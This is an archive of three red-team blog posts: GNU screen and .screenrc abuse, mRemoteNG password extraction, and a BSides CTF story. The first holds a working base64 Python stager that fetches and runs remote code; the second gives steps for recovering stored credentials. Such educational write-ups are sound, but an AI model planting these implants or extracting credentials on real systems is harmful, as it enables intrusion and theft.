Category Archives: CTFs

Abusing screen and .screenrc to Escalate and Maintain Access

Posted on by

When it comes to playing the part of the hacker/red team in competitions like CCDC. I’m always looking for unique ways to gain and maintain access to systems. Lately I’ve toying with the idea of leveraging features in common administration tools instead of exploits or misconfigurations. My favorite of which is abusing screen and .screenrc features to establish a foothold.

Why screen?

The screen command is definitely something I think every Linux Administrator uses every day. The reason why is simple, its probably the best way to maintain your work or run longer jobs without the effort of creating a system service. This is because when the screen command issued it effective creates another terminal (TTY) independent of the current users session. So if the administrators session isn’t stable or its impractical to wait, the job won’t be affected.

Fun Fact: By default screens are actually allocated a TTY and spawned by the init process, not the current user. So the screen process, TTY, and child processes won’t show in user level process listings or the standard last, w, or who command outputs. Instead you can use the who command with the -a (all) option to also display TTYs spawned by init.

Abusing screen and .screenrc via abandoned screens

Given that the most common use case for the screen command is administrators running jobs that can’t be interrupted. Therefore it’s always worth checking to see if any screens are running when you compromise a users account. Its not that uncommon for administrators to elevate privileges or even switch users all together within a screen. If an administrator switches to root/superuser account in a screen, the screen still only allows the original spawning user access. If that’s a lower privilege user that you’ve compromised, its an easy privilege escalation case.

So you might be thinking that the administrator should have just used sudo to elevate privileges within the screen instead of switching to root/superuser. Its definitely a safer option, but not the best option because once a users password is entered for a sudo command, by default its not requested again for 15 minutes. So if you’re in the right screen at the right time, or willing to wait long enough, sudo can still be used as a means to privilege escalate as well.

You can check to see if the current user within a screen can sudo without prompt by running sudo in non-interactive mode and seeing if it errors out.

if sudo -n true 2>/dev/null; then echo "I can sudo"; else echo "I cannot sudo"; fi

Abusing screen and .screenrc via multi-user support

The alternative laid out by the developer of the screen tool is actually a rather detailed set of permissions and multi-user support for individual screens themselves. Going over the individual permissions that are available is probably out of the scope of this post. However multi-user support is actually used in cases where multi individuals need to access jobs running in a screen of a service account, but aren’t actually allowed superuser privileges.

For instances, in my consultant days we had external nmap scanning systems, all the consultants had access to scans running within screens, in case they needed to be modified or stopped. This allowed us to maintain access to all running jobs, but we weren’t required to have superuser access to switch users or elevate privileges to kill other users processes.

To use multi-user support, make sure the SUID bit is set on the screen executable and modify the individual users (~/.screenrc or global (/etc/screenrc) screenrc files. For example, if you wanted to try and maintain access to screens created by root via a compromised standard users named tester, you could include the following in /root/.screenrc file.

multiuser on
acladd tester

If screens are not being used enough to leverage changes to the .screenrc file. You can also modify one of the target users profile files to issue the screen command automatically. You can do this by adding ‘screen -RR’ to the users ~/.bashrc file or the global /etc/bashrc file. This will reattach to any existing screen or create a screen and attach to it, once login has completed.

Note: For highly secure environments its likely best to disable multi-user support in the global screenrc file. Also consider setting your global sudoers configure to timestamp_timeout=0, will require a password for every use of the sudo command. Change control and/or watchers on resource (~.*rc) and profile files might also help.

Abusing screen and .screenrc with stuff and clear

Maintaining Access with the stuff and clear technique

Leveraging multi-user support isn’t the only way of abusing screen and .screenrc to maintain access. Instead I now utilize a technique I call stuff and clear. In this technique the target users .screenrc file is modified to create a screen layer whenever a screen is executed. This arbitrary, named layer allows for the command “stuff” to send raw characters to the screen.

Luckily, the builtin printf command will handle the raw character encoding. So printf can type out shell code, send an return key press, type out the clear command, and send a final return key press. The stuff command will then effectively create the same screen pop effect that already happens when a new screen is created. So unless the user enters copy mode and scrolls up or errors occur, they are unlikely to notice.

Here is a code segment from a Empyre module I wrote for CCDC a few years ago, that does just as a described. It will write an Empyre shell to the users .screenrc file using the stuff and clear technique.

echo 'screen -t "python"' >> ~/.screenrc && printf "stuff \""'echo \\'"\"import sys,base64;exec(base64.b64decode(\\\'bU9WakhVPSdSSVRQYURSbFFwJwppbXBvcnQgc3lzLCB1cmxsaWIyO289X19pbXBvcnRfXyh7MjondXJsbGliMicsMzondXJsbGliLnJlcXVlc3QnfVtzeXMudmVyc2lvbl9pbmZvWzBdXSxmcm9tbGlzdD1bJ2J1aWxkX29wZW5lciddKS5idWlsZF9vcGVuZXIoKTtVQT0nSDNTRTIwUVlSRlZGWTFVOCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKV07YT1vLm9wZW4oJ2h0dHA6Ly8xMC4wLjAuMTAwOjgwODAvaW5kZXguYXNwJykucmVhZCgpO2tleT0nM2ViMDMwYzZhYjA5OWIwYTM1NTcxMmZlMzhkNTlmZmInO1MsaixvdXQ9cmFuZ2UoMjU2KSwwLFtdCmZvciBpIGluIHJhbmdlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp\\\'));"'\\'"\" | python &\rclear\r"'"' >> ~/.screenrc

Fun Fact: Screen also supports not terminating windows when a screen is exited. This can be done by adding the ‘zombie kr’ line to the .screenrc file. In the case of some payload types, this would mean the shell process would still be running until an administrator killed the screen manually.

One Final Thought

Since I’m the current maintainer of linuxprivchecker, I’ve also taken the time to begin to make changes to help detect these opportunities related to abusing screen and .screenrc for privilege escalation. I hope to continue to add features to this tool and provide related blog posts like this one. These new features will likely sit in the unstable branch for some time before they make it to master. Any assistance with testing, feedback, or ideas is always welcome.

mRemoteNG: Just Loaded with “Features”

Posted on by

TL;DR: mRemoteNG uses insecure methods for password storage and can provide droves of valid credentials during an assessment or competition.

Level Set

mRemoteNG (mremote) is an open source project (https://github.com/rmcardle/mRemoteNG) that provides a full-featured, multi-tab remote connections manager. It currently supports RDP, SSH, Telnet, VNC, ICA, HTTP/S,  rlogin, and raw socket connections. Additionally, It also provides the means to save connection settings such as hostnames, IP addresses, protocol, port, and user credentials, in a password protected and encrypted connections file.

Problem

During a recent pentest, I was struggling to gain additional administrative access to key systems ,even with standard user authentication.  However, during some share pillaging I found a backup of an old mRemote connections file. The connections file houses all the information needed to gain remote access to a given system (IP/Hostname, Protocol, Port, Username, and Password). However, the credentials are encrypted, by default, and the connections file was protected by a master password.

Solution

It turns out, the master password is just used by the program to determine whether or not to load in the selected connections file. The stored credentials are actually encrypted with a static string, not the master password. This creates a scenario wherein the master password hash can simply be replaced with a blank password hash, to bypass the master password prompt. Once the connections file is loaded, the program even has the ability to add additional “External tools”, which allow for access to the programs variables and memory space. This allows for simple echo commands to be added to reveal hidden details about each connection, such as the clear text password.

How to Access The Clear Text Credentials

Method 1: Using the Program itself

To start ensure that mRemoteNG is closed or download the portable version of the application.

mRemoteNG Password Prompt

Second navigate to the default mRemoteNG data folder (C:\Users\\AppData\Roaming\mRemoteNG) or acquire the connections configuration file. Alternatively, enter the  path %appdata%/mRemoteNG into Start/Run, to go directly to the default installation location. Or use the portable version of the application, for any backup files you may have discovered while pillaging.

Third open the connections configuration file (by default called confCons.xml) in your favorite text editor.

mRemoteNG Connections file

Then, on the second line, locate the Protected=”a bunch of numbers/letters” string and replace it with the value below.
Protected=”GiUis20DIbnYzWPcdaQKfjE2H5jh//L5v4RGrJMGNXuIq2CttB/d/BxaBP2LwRhY”
Note: This is just a master password hash of blank, to allow for the connections file to be loaded.

mRemoteNG blank master password hash

Next, just re-open mRemoteNG and load the connections file, by simply submitting a blank password to the master password prompt.

mRemoteNG Connection file loaded via blank hash

To see the clear text of a given password, go to “Tools” > “External Tools”. Then right-click in the white space and choose “New External Tool”. Next, in the External Tools Properties, fill in a “Display Name”, “Filename” and some “arguments”, with “Password lookup”, CMD and “/k echo %password%” respectively.

mRemoteNG external tool

Finally, go to the connection where you would like to reveal the connection and right-click on it and choose “External tools” > “Password lookup”.

mRemoteNG external tool shows password

Method 2: Using an Offline Decoder

A modified version of the Metasploit module Ruby code, can be used to get the clear text passwords from within a protected connections file.

The file can be downloaded from packetstorm (https://packetstormsecurity.com/files/126309/mRemoteOffPwdsDecrypt.rb.txt) and run on Kali systems as such:
ruby mRemoteOffPwdsDecrypt.rb confCons.xml

Method 3: Using the Metasploit Post Module

Once you have a meterpreter shell on an administrators system that has mRemoteNG installed, simply run the post module with the following command and enjoy clear text.
run post/windows/gather/credentials/mremote

Note: mRemoteNG is a platform agnostic program, however the post module only works on Windows and will only parse the default connections file (confCons.xml) and location (%appdata%/mRemoteNG).

As always,
w7nDgMKow73CuCU7XsOkScuGXsKrw51Rwq4=

How I “Kinda” Won The BsidesIndy CTF

Posted on by

I’d first like to thank everyone who worked hard to make BsidesIndy so awesome. It was the first time I have every gone and from my understanding, the first time it has every occurred. Needless to say it was a stunning success in my book.

When I go to conferences I like to always make time to visit the capture the flag events. Sometimes I do really well, sometimes I do rather poorly, and sometimes I just meets some cool new people, but I always send time at there. Simply put, there is just a lot of learn from spending an hour or several competing against others within the same industry. As such, Bsides Indy was no exception. I showed up to the BsidesIndy CTF table ready to learn some new tricks and got all set up.

In the BsidesIndy CTF, competitors could register as either the blue (defensive) or red (offensive) team. So while I was waiting for my login credentials to be generated, I looked over the score board and noticed that there was not anyone on the red team. So I choose to register as the red team, and quickly noticed that many, if not all, of the individuals at the CTF table on either side of me were on the blue team. So I started by doing some nmap scans on the /24 network that was given to me to test, but I quickly noticed that many of the blue team members were just yelling up and down the table, with information about each of the boxes. So I listened in for a while and was able to learn the IP addresses and services of many of the boxes. I then noticed that the gentlemen beside me was having some issues getting his web services up on a box he was working on. So I deiced to help him out and what do you know, a few config files, iptables rules, and service restarts brings to web services back up. However when I was working with him, I noticed that he kept referencing a web pages for IP addresses, usernames, and passwords. So, after helping him repair the services on the second box, I simply asked for the URL of the web page he was using and he was more then happy to give it to me. I then spent the rest of the competition, gaining access to different Linux boxes, establishing persistence, and hunting for flag. By the end of the game, I had active beacons on 5 different systems (Unfortunately not displayed at the end of the competition, when the screen shot was taken) and possession of several of the flags. I’m honestly not even sure, if my original nmap scan even finished.

Screen Shot 2015-02-21 at 5.41.22 PM